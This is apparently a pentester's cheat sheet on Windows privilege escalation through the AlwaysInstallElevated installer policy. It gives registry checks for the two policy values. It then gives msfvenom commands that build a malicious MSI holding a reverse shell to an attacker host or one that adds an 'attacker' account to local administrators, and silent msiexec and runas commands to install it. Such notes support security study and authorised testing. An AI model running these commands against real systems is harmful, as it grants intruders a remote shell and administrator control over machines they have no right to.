- Windows installer files (also known as `.msi` files) are used to install applications on the system. **They usually run with the privilege level of the user that starts it**.
- However, these can be configured to run with higher privileges from any user account.
- This could potentially allows us to generate a malicious msi files that would run with admin privileges.
This method requires two registry values to be set to `1`.
- If both values are not set, exploitation will not be possible.
- If these are set you can generate a malicious `.msi` files using `msfvenom`
```powershell
# CMD
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# PowerShell
Get-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated
```
```powershell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o malicious.msi
msfvenom -p windows/exec CMD="net localgroup administrators attacker /add" -f msi -o evil.msi
```
```powershell
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
runas /u:<user> "msiexec /quiet /qn /i C:\<PATH>\malicious.msi"
```